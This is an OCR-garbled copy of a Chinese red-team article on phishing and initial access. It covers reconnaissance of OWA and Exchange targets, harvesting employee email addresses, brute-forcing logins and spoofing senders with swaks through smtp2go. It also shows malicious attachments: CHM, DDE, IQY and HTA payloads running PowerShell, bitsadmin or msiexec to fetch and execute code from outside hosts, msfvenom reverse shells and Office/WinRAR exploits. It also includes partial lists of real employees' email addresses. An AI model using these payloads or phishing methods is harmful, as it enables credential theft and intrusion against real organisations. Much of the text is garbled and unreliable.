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BNZZEFMIGHNIE, BEELEMMXIERERLEMHETipitbit (ELBIRTER
MEE=FMEHRS:E, XMBEIMXIEREEAT) » SEMNZNEMNILARIE, B
ZEAEMMXICRE BRI EZiptthit (REBRAERE=ZAMHERS:HE, XMER
MxIEREZERT) » ABRHXNXNipttitfcE# T (25, 109, 110, 143, 465,
995, 993iKMO) , —MIBEBATHRES KNI BERNEBHEHRSEAND.

103 443 157 Done Microsoft-HTTPAPIf2,0 (Not Found)

103 a0 141 Done Microsoft-HTTPAPIf2,0 (Not Found)

106 a0 141 Done Microsoft-115/6,0 (MetaFrame XP & 7))
107 25 156 Done Unknown

107 443 172 Can't load main page

107 a0 156 Done Microsoft-115/6.0 (EASY SHOPH B4
108 25 172 Can't load main page

109 25 203 Can't load main page

108 110 187 Done Unknown

(2) BIREFEHRANOGNHEBREANDO

XEREFEHEENIEABRZ, WSublist3r, TeeMO. LangSrcCurise. ZHRINEAR—
— 24,

om.tw

com.aw
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b G | https:/i som.tw/owa/auth/logon.aspxreplaceCurrent=18wrl=https%3a%2{%62f twib2fowa¥e2f

Microsoft

Outlook'Web App

ﬁ%ﬁ ( EJL!II‘iF'Iﬁ.-Eui )

® I ERL TN a R R,
O It ERRALT N

[J {#F Outlook Web App Light
AR | |
= ‘ ‘

B Microsoft Exchange
@ 2010 Micresoft Corporation. (REERRITIIN,

(3) BIRESIZMER

Google hack #%;

BE. %, 360. bing,

site:target.com intitle:"Outlook Web App"
site:target.com intitle:"mail"
site:target.com intitle:"webmail"

Shodan. fofa. zoomeyei &%,
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intitle:"webmail” inurl:.cn [o] BE—F

Pim =ik #a BER HE FE e W E 2 BEEse

ATIEA TR FrEMTIHI HEEREE TR

B=E%E: ouhk webmail webmailEE®  webmail uoft

WebMail REFEF
AFE: @ =15 8352 iR Email atjwh.cn ©2004-2024 RRIVARS ...
mail atjwh.cn/ ~ - SERES

Login to webmail

B R Login to Webmail EBFR @ =13 BAHS
mail hanwang.com.cn/ ~ - EERIE

WebMail - L ogin
155% =IE JEIRiEE JEOMERE EEMAILD FR=STE=EE 1. CEFHEREE 558y

FEHRFIREEIERREE 2 EFEEEEERA. -
mail.cosmostech.cn/ ~ - BEIRE

WebMail | Powered by Winmail Server

1) EFFRBR EEHS - Bl WebmaiRULEFIZEREMS POP3,SMTP lES=2ELE: mailknt.cn
2) (EEU EEEHT SR - 20 Outlook Express, FoxMail. .. SMTP...

mail knt.cn/ ~ - BE{RIE

WebMail | Powered by Winmail Server

1) Webmail BLERMF - BT P seUr IEREME POP3 SMTP lRE5EEEE
mail.angelgroup.com.cn 2) EREMFEFTR - 20 Outlook Express, FoxMail, Thunde. ..
mail_angelgroup.com.cn/ - - BE#EE

WebMail ZHE=
AFE: @ =55 1552 i0FAFEmail huafuchem.cn ©2004-2024 FRIERS ...
mail huafuchem.cn/ ~ - EEREE

WebMail REEEF
HARFE: @ E13: 155552 iDEAFEmail figd cn ©2004-2024 [FEHARE .
mail figd.cn/ ~ - EEREE
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Taiwan 2

TOPORGANIZATIONS

New Century InfoComm Tech Co. 1
HiMet 1
TOP PRODUCTS

Microsoft 115 hitpd 2

02

HEKWKBEMMAEN—LEENER

https://hunter.io/

# hunter

Product ~ Pricing

LI Z MR T A

PWRTE el W W LR M FT ML F O I Y e

Object moved (£

Il- IL. ]

New Century InfoComm Tech Co.
Added on 2020-04-10 11:01:10 GMT
Bl Taiwan, Taichung

[:18 — ) -
Added on 2020-04-20 03:21:52 GMT

Bl Taiwan, Taichung

Signin

com

Most common pattern: {first}.{last}@

p g .com @

Find email addresses

com 19 email addresses

1 source ~

h .com @ 3 sources ~
http:// rom/en/kehufuwulyiliaowangluochaxun.shtml jun 20, 2016
http:// _ com/kehufuwu/contactus.shtml jun 20, 2016
"| ANE ) le ANCE 1 T
p spectus .com @ 20+ sources ~

http:/fapnews.com/ca40aba60f374bb4b8367ea5763aa58d Apr 17, 2020
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http://www.skymem.info/

om Q, Find email addresses

@ com et

Buy now all 149 emails of this domain. This is the preview, first 9 emails. Q) Di c| d

‘# B Email (149) Augmenting Native
6 enquiries@ com AWS, Azure, & GCP
o - Security Controls
7 linging005@ com
R When and how
8 recruitment @ com should your
organization augment
q cs.pacshk@ com native CSP security
: controls?
A
https://www.email-format.com/i/search/
X
Want to directly email someone at but don't know their address? Ge

Maybe you Just had an Interview and didn't get a business card for a follow-up? Or you've got 3 name
and nothing more from LinkedIn?

Don't sweat It, we've got you covered.

& Identified Mame Formats & Representative Email Addresses & Export to Excel

zhazhijingd01&  _  .om.cn
score O (found Jul 2013 - spedial.zhacpin.com/sh/2008/pingand21917 )

pub_payh_campusl = _ om.cn
score O (found jul 2013 -)

zhugquandoic = _ .LEM
score 0 (found Jul 2013 -)

lifeng3@ £n
score 0 (found Jul 2013 -)

ligijian001 - a
score O (found jul 2013 -)

miactingd02@, _ iy}
score 0 (found Jul 2013 -)

p_paamc@ .en
score 0 (found Jul 2013 -)

niexizoping001@ .n
score O (found Jul 2013 -)

shzhaopindh ] o)l
score O (found Jul 2013 - s0.jobmet.com )

BRRERETIAEtERRAXERMABEEEEN.

https://github.com/bit4woo/teemo
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MAFF) i) fExUU)  Sav)  ®RIH)
Pub ‘LianPu@, _ am.cn
Pub ' TianXiaTong@, m.cn
Pub _yrrfundir@ com.cn
SHAOYUJIEO23@ Lom.cn
YZQ@, .com.cn
Zengfan323@™ com.cn
callcenter@, com.cn
dept _creditcard@ .com.cn
dept _pakjcptztd@/™ com.cn
fangqi275@ com.cn
kfzx@ com.cn
liling061@&, com.cn
liurui496@ com.cn
liyanxia723@; . .com.cn
lizhijihua@, _ .com.cn
pabdsh@- com.cn
pengting343@; * o .com.cn

ngke@ _  com.cn

antures@ com.cn
pre; com.cn
pub_JRYZTxqyxdbserv@{ ' .com.cn
pub_health_online@ com.cn
pub _jtdxpt@: com.cn
pub [ jwizard @, com.cn
pub_ jpxsd@, .com.cn

T [l ke T - -

EEMERSIZ, TEERSIZE, HRX. BRENEFRMENLTN,

https://github.com/laramies/theHarvester

BRIAERINERTRS api, BIXEZOBITURAGERENEZHEMMEIRHEAE.
HNapi#f2BIAR, BLERAE, AUNERERYD, BtELHIRERESHM T AR

R, AREELEREBNERER.,

python3 theHarvester.py —d xxx.com -1 1000 -b all —f test.html
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HFREMMEZE, BINEXNHAEFTRIE, BEANEEMEENEWAREERFL AR
(BER, AR

(1) @i Emailtester.comP] AEGHFFFIbI BT FE.

https://mailtester.com/testmail.php

E-mail address ®163. com

Check address

L

https://mp.weixin.qq.com/s/aatNjey3swZz7T4Yw_LqsQ 8/30



2020/7/27 2T BA IR 2 MR 4T 2
(2) verifyemailiXm TR ATt S0 IEHRFE .

https://github.com/Tzeross/verifyemail

(3) mailtester.py
X ITAETUBESMAEIIBRIEASHNERENTRILE,
BIANFLHET, ESRIE First / Last Name R B FHEEHEAS, AEBXHEH# T

TEIE,

HENENMABERBFP#ITRENNER, RES KR —EFH, GEAGRHE. FTEBHEES
top100, 1000, 10000, WAKNFTEEZMNENX, Z—THEMZS—MHHRINE,

SRAFTNEERIRUNZEER. CEAR. TESINNARRRENR, XEASZRE
MAREAR, BAREAZERRBAXNRS, FFHTERE, HNBFEXN —LIFRAR
TZERIRNFEBOATF, M riE.
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W &2 ZENEHEZARYI0 TIER
HEA BT A y i ik
1 i 4 204282 252224 42058
2 | T 287101 244958 | 42143
3 =i 273074 318 272756
4 F5 271550 3213 268337
3 = 266037 227077 38960
6 B 2494106 15642 235774
7 T 248898 19211 229637
8 T 247151 40224 206927
9 A 237855 200368 37485
10 Hig 237713 14374 223339

DGR HERATE S H

XBEAMUREXTMithttps://www.aies.cn/pinyin.htm R ERIH B 53 B4 E X

MABFHHFTEHSE,
F10 v J
}':". | B | C | D | E —
1 |Company Domain First Name Last Name
2 | zom.cn Li qing
3 | cn Wang l
4 | ~om Zhang jun
5
6
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XMAIANBEOLEBERERTEMEWECHMEHRSHFELowaF GEEBMNIEN S
B AR TER.

Az T Emedusa. hydra. SNETCracker. APT344H4 owa/BiKE T E%,

ZHOIBHEAFPRBEBBEEEREA RS @M+2019, 2020FHT AR, Z—1TFHMS
— I RINE,
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Wl EREOSESTE V1.0 G Beta28 by shack2 20190715

Em w=E ¥H IR

[] SsH
Ham R | | S & S 2
Eﬁﬁiwf M: | || AR AR | | g
[Joracle
[]FTe BB | | 2AES D TREREESSREEeSR =i
|:| MongzolB
ey, | 0870

[]Telnet RS TeHht B & %0 A s
[7] SMTE

[] SMTE_SSL

I EE—
|:| FOF3_S5L

] mar

[] DMAP_SSL

(] vie

[]Bedis

Input
Exchangs Address : MUFPERRT

Exchange Version : xchange2007
BF Method : Full

Username File : \Users\LiDesktop\FERESE, tnt
Password File @ \Usersh\L\Desktop \FRRSZ 5044 txt

U

Humber of Threads : | Generate Pass | | Generate Pass Par
Add to Username Start © Add to Username End . | Start
Total Email Checked : Total Login Succazsful : Time :10:00:00 Email check timi=: Email check time per Thre=1 @ Remain Users - Status -
x;:: Current Username Current Fasswerd Status R::id é’::::““:

Na

01

iR 786 £h 1E

— B R TR BSPFEI A HiEAswaksfhig,
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test Vion, U4 Viay 2020 ££:54:3b +UUUL

on, 04 May 2020 22:52:36 +0000

6:52 /7 admin 2020-05-05 06:52

L S TR Y

. admin
" admin@110.com S5 =

EEiTEEM FEINEER HEASFEETE »

at, 02 May 2020 11:30:35 +0000

testT

EiEA: lic123548 < s
BT [B: 20205F5B2H(ERER) B E7:49
WA

fessst you aree ss

X E B8 iH—TFspfildkim ,

SPF: AIAKFEREMNFREMIAMENpihit B EEAZEEERNspfICRER, A
REMNE, MRPE-—HEBOEBYE, TENERASEKEFR.

DKIMENFRAEERZRRBMERFEAERAIEFTESRENT, LA UERNERER
RARMEEREIEFNTEMLE.

EBSPFHIBRT, MBESKISPF,AIM{EMswaks+smtp2go, FEMBHRMMHEIEETF
aXSEISPFE,

SMTP2GOME & :
FEERUKFMEIESER,

https://mp.weixin.qq.com/s/aatNjey3swZz7T4Yw_LqsQ 13/30
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IP Authentication

Sender Domains

Settings

https://mp.weixin.qq.com/s/aatNjey3swZz7T4Yw_LqsQ

ZLA IR Z MRATHT A

SMTP Users

SMTP users are permitted to send emails over SMTP with a username and password.

Manage SMTP Users

Username

Connecting via SMTP Default Rate Limit Per User

SMTP Server: mail.smtpZgo
SMTP Port: 2525

Alternative ports: B

om m

r

fau nas norate hey'll use t limit.

t's currently set to Unlimited

able on the same ports,

SSLis available on Change Rate Limit Default

Sender Domains

Add domain names on this page that you will send emails from. This will allow your emails to be properly authenti

. and improve deliv

Only add domains that you own. as you will be required to update your DNS records. We have some guides for popular webhosts here,
Note: ji can take up to an hour for some providers to make DNS changes live
Configure your DNS records for it .mi
Go to your DNS provider (£*
Add the following CNAME records:
Type Hostname Enter This Value
m /] en Aon.m return.smtp2go.net
428
m (/] 54 *3lycannon.m dkim.smtp2go.net
iders 13428 _domainkey instead
m o MK an.m rrac&.smrp}gone(
gnck
Add domain names this page tha i send emails from. Tt allow your emails to be properly authenticated. and improve delivery rate:
Only add domains that you owr y Il be required t lat NS re have some guides f 1
te: it can take I ers to make DNS changes live
Manage your Domains
Domain Status Tracking Domain

X -  Eratled Aoy

 Disabled

14/30
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swaks —-—-to xxx@l63.com
-—from admin@gov.com
-—ehlo xxx

--body “hello , i'm 007"

—--server mail.smtp2go.com -p 2525 -au user -ap pass

FEHr AL FTESERBEFatER, SRRBIABTAEFNERANARRES L

A > [

(8 m-2 af68dchbvtirzawwc7o1leqxfsn@t .com f£%&) €
B i8: 20205586H(EM=) 521:33
s Ei aq.com:

H—MEEBAI U ERFemIB A XK,

. 3 " emmean

E | ErEED | Sdidgemizoi | gRUSELE? | SRR | BFECET | BIIRIER | fEaktss

AN

Dear Customer,

You can reset the password for your control panel account by using the information below:

I lmmme M id A4 APVTO 8 e e

B BRfrom Z BIRY FER IZ A ToF ERERAE .

swaks —-—-to test.163.com
——from admin@l110.com
—-—data 1l.eml —--h-from

--server mail.smtp2go.com -p 2525 —-au user -—-ap pass

https://mp.weixin.qq.com/s/aatNjey3swZz7T4Yw_LqsQ
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LUl MSUSLTLITa FOUY e ISy LAy S WG SUSU Sd e Udeud Tuouy

[ S

=1 ™

VagTcVy2lolDbytf2vEDHIDEX1eiXwHOIVhEBJQGAZ0cibz

S M-QQ-MAILINFO: NbUxUzEtP+7YcgBoWgdmwco4NS/13vmluTeDE]64+GMDySqfxmQiIanBlTy
10 +iYKiGl5BsfOmB+geb2wRetmSChA+ii+rEKhOndFFEcfy1EECWVr3CDnjPOY10cCumdbhCgz

1 Sg40uHveynnivix¥XpCdEpZ2uv4dqTlyTelvrep/EwISs/
12 K-00-mid: mxszcd4Tcl578T8835Ntikfgamct

13 [{-0Q0-CRGSender: suppor . . Com
14 K-QQ-XMATLINFO: NwXQZgxrowtCeGez5V/pGxpUwmvigTz4IsTmiTXWECMOL,/DpinCdTh1REDCMNR3
15 r4Bl6jBsT13ZVEG4PefkPghsDyIlfcrselis+RM31TaSabTTeLtVvgHMZ tHv+wEKESO+DuTn7TLX L]

16 0heUZnCTGERoasig+ZbWlwnvegPvpoy9RSperCogYJpdK1t1ZzW2 61t TthHiQCIsS40kFj+110QtC
17 nEEViRJeqYzBYlgcI9WeVXi7I4/10F337ZETUCS SmaFFL2LHKZ TkcDddb zENmpO3NTEyJ8MrLk3
OrRE5DUSURSSme3zRMz1ZulmPRT 725 0Bdogpv+ar¥4 TVaYIhoh,/ LN rWMduc2 sEDkke sz ZC2HML+FX
p3YNCEWOPEBARZzEhl sc8rgFVmUICHSuNU+gEXNSr¥gsSMiioniyG45E3SHNYSBTIjOHgYVIoE214g
0 WhROtQsJWUezp,/ YDHLtVTB+WwXOAVIpl9DBCk1bChxNJakgGsuF1IcHk,/Sce8locYeWs £ Twex LHnOR
1 TPHTTgHXxjXrCFsINU3IvMVolE9GERASFVGEOXHACWsMQgikeihl42 /sENUnSyHgWyS5ZzxX J9QPPY
asdlvedYytIdUyBoaSlyolHaglovpmalUxEv+roBXWDxDLAVEYVZE/JAT4HaZhYE4Vm,/ XHX Joc amy
Tgl4MAKs0VNaCmPfoS,/ jaaxxzTTVRZQP7iZ2qwiDLml OHSWDECSL3z1n6 28 0Y IAWQkEw=

[SS I o8 ]

Date: Thu, 23 Jan 2020 09:05:50 -0500

(4, Y Sy ]

=
4
=
4

&

t=1579788350; bh=wd/ha/hA3auV4Ke+o0lQiJfTmvgTMwcY1lmB2Cic8XCMI=;
h=To:From:Subject;
b=PF8sKkdBzyWtRLNXdy5099cnl1CMa3 JHWDAKkFEWAEMWsRZE6gQztkgfCeYp20rD1akT

[—UL-FEAL: ITIlUPQROHWKNNINyHZFZNOCeopICIeNGodnicebnbJs2tNBgnuteazznenas |
IJzmLJoERCPesh24XugxwkijgzuyivVes+OmTHeOrEwCuuealoirdQkTgD2 +eéwlonpmsuwel
LXDD83/EGivrRHCkdrdDOkkkHEHASqi+GESTTNs0TWS£dlnJdcxIiRke2 yQJUnL1FsNEEJMH
1+0cBrLGbVPZAJ1aSRhYiONE,/AsXgTORT1I0OgBZuZ0LkygOgrisbQzCvZLPopl+c4lNcVrL

DEIM-Signature: w=1; a=rsa-sha2b6; c=relaxed/relaxed; d=vultr.com; =s=maill;

29 2BLPYSv153vkOiXoOccoEqEQsyl9CYdROJEfSOMG405 iXoPaDEGNiXxLwurgYUGALQ
30 INVHNdgoOxYxSAkGCTuygWEGw+2gFPWRRChL1Eianhj 8bEUCEIRebt AR SEMe ITp+vH

31 T02UoUGEK90,/SME1v1DPlz6Eatro0fe62 TO0TLCYPOLYLOQONZVOS) 4QhiaCDFensvDE

32 105308/ 1YUjEqIVEAfeojeMfLanVe ZwXawy IxfF6/ si PWYRJ0aGQoMuvccIFk4P+wis

33 u/HjlvBSXugaQ==

RET From: r.com>

35 [lo: 2 JEgg. com

36 Subject: Vultr.com - P d Recovery

37 Message-ID: <52531laZlc3bcac TO05e3£620128136valtr, com>

38 X-Auto-Response-Suppress: All

S MIME-Version: 1.0

40 Content-Type: text/plain; charset=UTF-8

41 Content-Transfer-Encoding: kase&4d

42

43 EGVhciBDAXNOb211ciwKC11vdSEj YW4gemVzZX0gdGhl THBhe3N3b3JkIGZveiBib3VyIGHNvhbnRy
44 b2wgcGFuZWwgYWHijb3VudCBieSBlcZluZyBlatGlgaWimb3JEYXRph24g¥mVsb3ceCgpVe2VyOilky
45  NjIxNDEOM]c4QHFxLmNvEQpQYXNzd29yZCByZXN1dCEBsaWsSr0iBodHRwezovL2 15LnZ 1bHRyILmNv
46  bS9WYXNzd29yvZF9vIWNvdnVyLz 9yvZWNvdmVyX2NvIGUsNGYxYmU4YWEF] ZTdhMzkl1 ZmIvYWY=NGE04
47  MDQEMGIOM2QSZGExMGEyCOGNiODh1CTZiVYmRIZWE LY MyN2FmOWViZgoKLS0gVnVsdHIuY29tIFNL
48 cHBvcnQgVGVhbSAtLOoKRmOshbGoe3IHVzIGouIFR3aXROZXIEIGhOdHBz018vdHdpdHR1ciSjb20v
F dnVsdHIKCg==

& XX HHE

1) RREXH

https://mp.weixin.qq.com/s/aatNjey3swZz7T4Yw_LqsQ
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ﬁ Macro Instructions - [ X

Follow these steps to add this Macro to a Microsoft Word or Excel document:

. Open Microsoft Word or Excel

. Go to View -> Macros -> View Macros

Change Macros in to the current file

. Give your macro a name (any name is OK)

. Click Create

Clear the editor

. Press Copy Macro to copy the macro to your clipboard.
. Paste the macro

Close the macro editor window

. Save the document as a macro-enabled document

| Copy Macro |

ZHE REE WEY SAD SN0 D S0R IRAD SHEERA 80w RDH

o T o Y o S Y 1 Y o R A o TR S

—

}ﬂl
}ﬂ

&

}*

BE-d L ronoa e BEFY @ G
AL x|
@G ] FIE—
73 Microseft Word TR (BHR) ] [Forbbook Dpen
-.-.;gcﬂa 1:;'.:1.[:; String
Fewlacros e
-8 Froject (2 Wicre t}s‘.\:.lf':glme
=55 Microsoft Word 248 t“si!n li Lasng
ICountChers A Loey
) ThisDocunent o Lm:
duFillateribute As Lo
B Project (MRHTSHIF dFlags As Leng
indow Ar Tntege
chRanarved? Ax Inte
1pRess :v(d.? As Lang
EEtdlaput A= Leng
stdlnrm ishl::;t
N Ead Tope
HLE VEAT Then
B - Mawebtacros X vate Daclars PirSefe Fanotion CreateStuff Lib “kanald2” Aliss ‘CrostsRemoteThresd” (By¥al hProcess fs Loag By¥al lpThrasdtiributes s Long By¥al deStackSize ks Long Ey¥al LsSturthidrass hs L
Frivate Diclare Thauts Tanetion ATesbilt Lib Thern nel M.m “¥ir \uu]ﬂlucli (u!m Mrrozsss s Lang, DVl Likidr bs Long. 1y7al Isize As Lone, Byval FLALLssationType As Long, By¥
exlncros {12 v Private Daclare PtrSafe Fumstion PriteStuff Lib “kernel®” Aliaz “FriteProcestManory (By¥al MProcess Az Leng ByVal LDast As LongPtr, ByRef Seurce Az Any, ByVal Langth Az Leng. ByVal Lan ;m ote s
SFER BURR Private Daclars PrSofy Fanstion RusStaff Lib Jaraal®- Alias Craatabrocessh” [Dyl‘u.l lw)hnhuﬂluu As String ByVal lpCommandline As String lpProcesshttributes As Asy, I’,m wdkttribates As A
Iz el | 1 nLun;, By¥al lpl'hr mmn 2 As Long, ByVal dvStackSize As Leng ByWal lpStarthddress As Lamg lpP
ERE) Fedbacros i { al 15ize As Long ByVal £lAllecationType Az Long ByVal ﬂn tact As Long
u ie seessncry” (ByVal hr : Lo ng ]lel l.m m‘ yfa. fSaunu ks_hny, D,-\'al Lex, ;x_h Az Lang, nyv.fu ngthirote ks Long} As L
essh’ (By¥al lpapplic, faatine s Ser ng By¥al lpCo-Ind.Lml String lpProcessAttributss As Any, LpThrew whftribates x ks hny, By
Sub mn _Openi)
mybyie n Long myArray Bs ¥ariant. offset As Long
: plake Ax PROCESS TNFURATION
i Sn:n‘
Dia aPros As String
WIf VEAT Then
ey Dim rexpage As Lomgftr, res As Longftr
H
= n wxpage s Ling res As Long
== .
2) CHMH&

MBI XEFEUTRBEH Flindex.htmlH, A/FEasyCHM I EAEBMATIAT .,
XEZBRE—NITES, JRETESRBEENNARD,

<!DOCTYPE html><html><head><title>Mousejack replay</title><he

command exec

<0OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa0@03b7

<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Iteml" value=", calc.exe">

https://mp.weixin.qq.com/s/aatNjey3swZz7T4Yw_LqsQ
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<PARAM name="Item2" value="273,1,1">
</0BJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

L
SrpHE) @A) TRED #h P
i CHF v HEeF (O & THiLE
BR 33 W pae W) Henl AT Hfh(D)
¥ B mousejack replay [ - W TENESRE:
@ | b4 ' <IDOCTYPE htal >¢htal >Chead>(titleMousejack replay</titler<head></head><body> € \Wsers\L\Desktop\TRRT PR (2)\
- ! i coamand exec
<OBJECT id=x classid="clsid:adb880as6—dBf{-11c{-9377-00aa003bTal1” width=1 height=1 CHEFTE (L)
T <PARAN name="Conmand” value="ShertCut”> A 2)
3 <PARAN name="Button® value="Bitmap::shertcut”> e
x (PARAX nane="Iteal” value=",povershell.exe, -nop —v hidden -c IEX ((nev-object CHEIE—E1 (1) ; .
net. webelient) . downloadstring("http:// L/aa" )} "> © Wsers\L\Desktop \FRSTAH (2)\index. hinl "
=@ CPARAN nane="Tten2” value="273,1,1°) CHERET (1)
<fOBJECT>» 3 = reeeyy =
- C Wears\L'\Desktop\FREICAHRE (2)\index htal =
<SCRIPT> .
4 x.ClickO ; cHmERE A () )
</SCRIFT> C\Wsers\L\Desktop\ SFRST % (2). Cm [=]
fbody></htal>
cff cmg R (3) 7 maw

@2 on ) X mHD

ERRE—TE S LBHANRF.

3

VPM{ERE:
BH.CHM

B 11241513 172.16.121 www L ANDROID-HUA Ver: 10.0 powershellexe 25480 %86 8s

3) CVE-2018-2174

expihil:

https://github.com/0x09AL/CVE-2018-8174-msf.git
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podwhi it s — Vindows Internet Explorer

[

Iél res:ffieframe. d11/acr_ervor. him#, http: /192, 168, 1. 5/CVE-2018-31T4_EXF/exploit. himl

U5 BRI - @) AR -
| TR | |

Wiz

Q/ B AR A SR

Internet Explorer BARBEEARLLML, 1ZMiEE EEERE,
ERILATLA R E

® 33|

® SHREEENTHE

@ EZEE

4) Windows {R¥F#

SHEBEMSFA R —Epayload:
msfvenom —-p windows/meterpreter/reverse_tcp lhost=vpsip lport=

msiexec.exe, R HFIE, EWindows Installer B9 — 28 4, F A It 3 72 3 0 £ & )
shellcode AT AR BRI —E I EEE A,
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s SIEGEER
SR S B R =

ERSEFUESEENERER. 08, 0EE TR Internet HBHHIHEEA.

EERATTEEMET):
chwindows\System32\msiexec.exe /q /i http://xooo/shell bt HEE(R). .

B FsEE,

HSRABERE—, EERZMAXUWApowershell RIZBTHRITESHW KEF,

5) {3&EDDEYH & XY

B -1 XM, ZEXREITFF dde.docx, EH&Ctrl + fOIRFEHE 7T DURZR AL BY 61 22 — 14,
BN RABEECESHTARMOTELCREE—TI1TER), LA TER T T Z AL
5,

DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe"
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Hicrozoft Yord ill

x
@ FTEREIEEEEE (k calcexe). ESEFMARER o\windows!system32\cmd.exe?
sv | [ =
I T | - |
=il (3).doc icrosoft Word
" WmE
S I O H= -
. R fac B
====E =- b B
BE A = [P R
_| |
RS =10 =]
- TEWV EE HEN

Bicrosoft Word 9

é Word FoEM chwindows\system32\cmd.exe Bl ko MC | MR | M5 | M+

— CE|C|1
ﬁxEl ‘—|
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XEHHpsZRETHEND,
] L m“-_:m_mmmw
[ §

Payload Generator — L] X

This dialog generates a payload to stage a Cobalt
Strike listener. Several output options are available.

Listener: Iuw.rw ‘ u

Output: IP{)WE[SHEH - ‘

W64 [ Use x64 payload

| Generate || Help |

1 imdmmmre W | Citae ¥ | DAannnm AND ACD A CARNNA W Il | omm W |

DDEAUTO "C:\\windows\\system32\\WindowsPowerShell\\v1l.0\\power

Ei (3).docx - Microsoft Word

5 | nasbcer asBoce AAB AaBbi AaBbl AaBb
|15 & H - < B3 « TiE TR 1 e 2 5 S

= F ==

{ DDEAUTO "CMwindows\\system32VWindowsPowerShellw 1.0V powershell.exe -MNoP -
sta -Monl -W Hidden IEX (Mew-Object
System.Net. WebClient). DownloadString("http:/ Mps1h; # " "Microsoft

Document Securnty Add-On" }+
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€ 3 %l F HE:}:E -
Sac B2

=52 ra =

.‘-'ll;'l_"l-
i
ul

Bicrosoft Tord EI

ié HrrEaSEEEalEes A T BN, SSEREE T EEER =

STEHE - |

sv | [ =

RibfELE%.

B 11241513 192.168.1.6 www Administrator * WIN-GJTEHIOJPER  Ver 6.1 2C9T4A6C (2).exe 2876 ¥86 149ms
i 11241513 192.168.1.6 Administrator * WIN-GJTEHIDJPER powershell.exe 3420 XB6

6) word FIEAIMEBIR(OLE) 7 = R IR

|| * [ Bowmme | ™ 1 | @& [ W) N M A | A [r=s5 -

™ _| ey I 1l o, HEsumen |5§ G [ LR L | [#] NS 4 A S Q

ST | W EA R Smetan B RBEE | geien o BORS g BE xNIM | wE | OB W OB m:zmz*-*rl:r—j_]m - ot @5
=i L e ik g i YRS o | #s

FRQ SXANRD

RSN
- FE(B)...

~word: H+f
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T E

Sl e @wee [ QR DD 00D EEH A4

At BE FEERE 3= - BV S8R B2 =NSIA fME HE HE AR OEE R ZA

REFIER e g i1 2 =gl

2| x|

RO ETHURE |

THEEMN:
N [Ptpy//192.168.1.5/artfact.exe S (E).. |
EeEE 2l
X IEE: CA..28px_ 1180239 easyicon.netico  HII&E(B)...
B - EEEEITTAE
V EraEmA)
- L ;I artifact.exe
EFE(C): [Myjob
ENEED..
» w= | mE |

wme | me |

=i (3).docx - Microsoft Word

A iR HWE

Tl a s [ @ (kRN D O L0 HEE

At BE EEEE S=nnm - FUHLL EEE BE RHSIA O #E HE HE s TE EEE
REFTERR pitny gEE #E pal= i

| L
XXX RMRZBE | HHAREE

e

. Myjob

RiBIA B4,
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B 11241513 192.166.1.6 www Adminisirator * WIN-GJTGHIOJPER  Ver 6.1 2COT4AEC (2).exe 2876 xB6 1s

7) IQYHERE

FHAnishang THOuUt-WebQuery.ps1, HALEREEEE payload url B9 iqy X,

powershell —exec bypass —Command "& {Import-Module 'C:\Epic\ni

ZEiqy.htmITTEHR B A :

=cmd|' /c bitsadmin /transfer c6c5 http://ip:port/a SAPPDATA%)

I Windows Server 2008 I kab
O H
e WA DEEE A mE WA W2

o Y oEE) o _ l= = " = 5 = - i‘l

e = T - .
¥ 5B B I U === EE ag i ® ok _‘,. % WIF
- 5 . -
Al
A 1 L M | 2] ;
Wicroseft Excel WMl 21x|
- (@) Microsoft Office D\ 7 — M HTEarE2HIE.
XHEE C\Users\Administrator\Desktop
\QueryDataiqy

1 ERfTIESSE, URRSEEESS . Mt E

1 51521%2. NeETEcETenEl . FREER

- R,

)

QueryData: [ETEFERR#NIE ...
A E B 1 n P
pervbat]: EEFRRHE ...
x|

SRR HE,
0 BRI | Excel RESNS— AR, SintEN N SARgAEFTTRNAT RN e Y. ReREeTemnl  Tes R USETENRNL AT,

EMEFEREF CMD.EXE™?
a
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' TYPE: DOWNLOAD STATE: TRANSFERRING
AL FILES: ® ~ 1 BYTES: 16358 ~ 2846
TRANSFER RATE: 572.54 B-S TIME REMAINING: 8 Minutes

05/03 15:31:01 visit from: 112.41.51.3
Request: GET [fa

page Scripted Web Delivery (bitsadmin)
Microsoft BITS/T7.5

bitsadminfZE2ENIE......

fRrHe, tIMAX—HFEGREMAPNIKFZBSHRAESR.

8) PPT mhfEizH4514M1E PPSXHE
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DOQOB OO A A A
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galthli WERE

SIz(HE)

BRI EE [E 8] = B EE O

[«] s s

LI Z MR T A

202052 SIS 6. pptx - Microsoft PowerPoint

oM D E D 4 RDNTO L

itEF HE NEANE = OEEEE O0F 3& O 75 WF
- - Bse -

o

A il

133

Iy
[h

Cl

AR INfRRR

BTN NG R

HTFHREXEHTALAFRRRAARAFERZHEA, FRUAKAhta ZME ps,AEHEHR ps
ERBEMEBRITIEENCsS,

El<ntml>
H<head>
El<script language="VBScript">
Sub window_onload

| window.resizeTo 0,0
rindow.MoveTo -100,-100

nst imperscnation = 3

nst HIDDEN WINDOW = 12

t Locator = CreateObject ("WScript.Shell"™)

ocator.Run"powershell (new-cbject System.Net.WebClient).DownloadFile ('’
c:\\windows\\cemp\\PatcheUpdate.exe*™, 0, FALSE

indow.close ()

i—<..|f head>
L</heml>
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~ ETEFR):

IC:\Windcm‘s\System32‘\m5hta|.exe hitp://1! SS5(E)...

& 57

BHE
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il
Wil il

o
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e
BEST

sV
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[~ EmEEE:
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T BiFEEnEEET0)

PRI
X B — 2 EREMppsxiE .
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fF&: L trid: HIMTL

= RRERIi TE@ -~ FFS) B

21|
@ Microsoft Office RN T —NEEME2FHE,

SRR C\Users\Ad ministrator\Desktop\20208E4

EFEE.ppsx

FAEEEES=SE . Microsoft Office BEIET SRHETHIEE
BFTEE. ISERESHNSEER . IFEsht EisiE
==,

WEFEE IEEE PR THERER . BEE A W
RO MERE PEMETIEEER | BaE2ER
A", EELE ., ZrkaeatENE. SN e eaT
HgrEE,

ezmaremL | =m0 || =m0 |
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R BB £,

ddministrator * WIN-GJTEHIOJP... NEW; x86; slee_.. 2CO974A6C (2).exe 2876
ddministrator * WIN-GJ7EHIOJP... NEW, x86; slee_.. powershell.exe 3420
addministrator * WIN-GJ7EHIOJP... NEW; xBE; slee... testexe 3628

N

9) RARBBEH&
WinRAR® Eexp:

https://github.com/WyAtu/CVE-2018-20250

£, RiEGBEMIEE. ATRIMGERIEHRERLE, EENEEIWKAEET .

ENlInESER , E8zMHE
